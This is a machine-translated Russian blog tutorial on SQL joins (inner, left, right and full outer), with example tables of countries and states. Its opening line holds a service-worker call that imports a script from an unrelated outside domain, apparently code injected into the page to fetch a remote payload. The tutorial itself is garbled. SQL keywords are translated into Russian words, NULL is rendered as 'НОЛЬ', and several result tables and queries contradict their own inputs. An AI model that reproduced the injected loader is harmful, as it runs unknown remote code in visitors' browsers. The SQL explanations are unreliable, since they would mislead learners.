google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Объединения в SQL - внутреннее, внешнее, левое и правое объединение


Здесь вы получите подробную информацию о соединениях в SQL.
Присоединение - это очень базовая концепция в SQL, которая иногда может сбивать с толку. Объединения используются, когда нам нужно найти решение для запроса, включающего атрибуты нескольких таблиц, которые имеют хотя бы один общий атрибут. Следовательно, необходимость объединения довольно ясна сама по себе. Существуют разные типы соединений, которые используются для разных целей.

Присоединяется в SQL

Допустим, у нас есть две таблицы: таблица с именем STUDENT и другая таблица с именем TEACHER.
В первой таблице «СТУДЕНТ» хранятся справочные данные ученика, а во второй таблице «УЧИТЕЛЬ» хранятся данные учителей, которые находятся в школе, и классе, который они преподают.
УЧЕНИК
ID классаназваниеДомашний адрес
101Раджхуг
201ВарунаBYC
301Chittizазбука
401ХемаЗащита
УЧИТЕЛЬ
Идентификатор учителяИмя классаID класса
1Первый101
2второй201
3В третьих301
4четвертый401
Во второй таблице «ClassID» является внешним ключом, который используется как ссылка на первую таблицу во второй.
Теперь, если мы хотим узнать имя ученика, чей идентификатор учителя равен 1; нам нужно найти объединение вышеупомянутых таблиц, так как это требует, чтобы мы собрали информацию обеих таблиц. Следовательно, объединения используются только тогда, когда обе таблицы имеют хотя бы один общий атрибут (в данном случае ClassID), и нам нужно найти решение для запроса, который включает атрибуты из обеих таблиц.

Типы Присоединения

В основном существует четыре типа объединений, а именно: внутреннее соединение, левое соединение, правое соединение, полное внешнее соединение. Объяснение каждого из упомянутых соединений приведено ниже.
Объединения в SQL - внутреннее, внешнее, левое и правое объединение

1. Внутреннее соединение

Давайте рассмотрим следующие две таблицы: имя первой таблицы - Страна (сохраняет идентификатор разных стран), а имя другой таблицы - Государство (сохраняет различные состояния в этих странах).
СТРАНА
CountryIdНазвание страны
1Китай
2Индия
3Соединенные Штаты Америки
ГОСУДАРСТВО
StateIdCountryIdStateName
012ГОА
022RAJASTHAN
035KATHMANDU
046ISLAMABAD
выбрать * из страны
внутреннее соединение ГОСУДАРСТВО
on COUNTRY.CountryId = STATE.CountryId
Вышеупомянутая команда применяет внутреннее объединение к двум таблицам, поскольку общим атрибутом является Идентификатор страны, мы применили объединение к той же самой.
Внутреннее соединение возвращает все совпадающие значения из обеих таблиц. Здесь, в таблице State, поскольку единственное совпадающее значение CountryId в таблице стран - {CountryId = 2}, в результате внутреннего соединения мы получим следующий результат:
CountryIdНазвание страныStateIdStateName
2Индия01ГОА
2Индия02RAJASTHAN

2. Правильное соединение

Правое (или правое внешнее соединение), с другой стороны, отображает данные, которые являются общими в обеих таблицах, а также данные, которые присутствуют в правой таблице (исключительно).
Это в основном означает, что данные всей правой таблицы будут отображаться при применении правильного соединения.
Когда в левой таблице нет совпадений, отображается NULL.
Пример:
СТРАНА
CountryIdНазвание страны
1Китай
2Индия
3Соединенные Штаты Америки
ГОСУДАРСТВО
StateIdCountryIdStateName
012ГОА
022RAJASTHAN
035KATHMANDU
046ISLAMABAD
выбрать * из страны
право присоединиться к государству
on COUNTRY.CountryId = STATE.CountryId
Вышеупомянутая команда применяет правое объединение к двум таблицам, поскольку общим атрибутом является CountryId; мы применили объединение к самому CountryId.
Правая таблица - вторая таблица, на которую мы ссылаемся.
Мы получили бы следующую таблицу в результате применения правого соединения:
CountryIdНазвание страныStateIdStateName
2Индия01ГОА
2Индия02RAJASTHAN
5НОЛЬ03KATHMANDU
6НОЛЬ04ISLAMABAD
В результате ясно показано, что значения в левой таблице, которые не имеют абсолютно никаких совпадающих значений в правой таблице, не отображаются. Отображаются только те значения левой таблицы, которые имеют общие атрибуты с правой. Принимая во внимание, что все значения в правой таблице отображаются. Строки в правой таблице без совпадений в левой таблице отображаются как NULL (пусто).

3. Левое соединение

С другой стороны, левое соединение (или левое внешнее соединение) отображает данные, которые являются общими для обеих таблиц, а также данные, которые присутствуют в левой таблице (исключительно).
Это в основном означает, что все данные левой таблицы будут отображаться при применении левого соединения.
Когда в левой таблице нет совпадений, отображается NULL.
СТРАНА
CountryIdНазвание страны
1Китай
2Индия
3Соединенные Штаты Америки
ГОСУДАРСТВО
StateIdCountryIdStateName
012ГОА
022RAJASTHAN
035KATHMANDU
046ISLAMABAD
выбрать * из страны
осталось присоединиться к ГОСУДАРСТВУ
on COUNTRY.CountryId = STATE.CountryId
Вышеупомянутая команда применяет левое соединение к двум таблицам, поскольку общим атрибутом является CountryId; мы применили объединение к самой Countryid.
Левая таблица - это первая таблица, на которую мы ссылаемся.
Мы получили бы следующую таблицу в результате применения левого соединения:
CountryIdНазвание страныStateidStateName
1КитайНОЛЬНОЛЬ
2Индия01ГОА
2Индия02RAJASTHAN
3Соединенные Штаты АмерикиНОЛЬНОЛЬ
В результате ясно показано, что значения в правом столбце, которые не имеют абсолютно никаких совпадающих значений в левом, не отображаются. Отображаются только те атрибуты правого столбца, которые имеют общие атрибуты с левым. Принимая во внимание, что все значения в левой таблице отображаются. Строки в левой таблице без совпадений в правой таблице отображаются как NULL (пусто)

4. Полное внешнее соединение

Полное внешнее объединение, как следует из названия, показывает все содержимое обеих таблиц. Полное внешнее соединение возвращает все совпадающие записи из обеих таблиц, независимо от того, совпадает другая таблица или нет.
СТРАНА
CountryIdНазвание страны
1Китай
2Индия
3Соединенные Штаты Америки
ГОСУДАРСТВО
StateIdCountryIdStateName
012ГОА
022RAJASTHAN
035KATHMANDU
046КАНАДА
выбрать * из страны
полное внешнее соединение
on COUNTRY.CountryId = TEACHER.CountryId
Вышеупомянутая команда применяет полное внешнее соединение к двум таблицам, поскольку общим атрибутом является CountryId; мы применили объединение к самой Countryid.
В результате мы получим следующую таблицу при применении Full Outer Join:
CountryIdНазвание страныStateidStateName
1КитайНОЛЬНОЛЬ
2Индия01ГОА
2Индия02RAJASTHAN
3Соединенные Штаты АмерикиНОЛЬНОЛЬ
НОЛЬНОЛЬ03KATHMANDU
НОЛЬНОЛЬ04ISLAMABAD
Это соединение приводит ко всем строкам. Мы получаем NULL (Пусто), когда нет совпадений.
Объединения очень важны для работы с таблицами в SQL, и в приведенном выше описании действительно подробно описывается использование каждой из них.
Прокомментируйте ниже, если у вас есть какие-либо вопросы, связанные с объединениями SQL.

Комментариев нет:

Отправить комментарий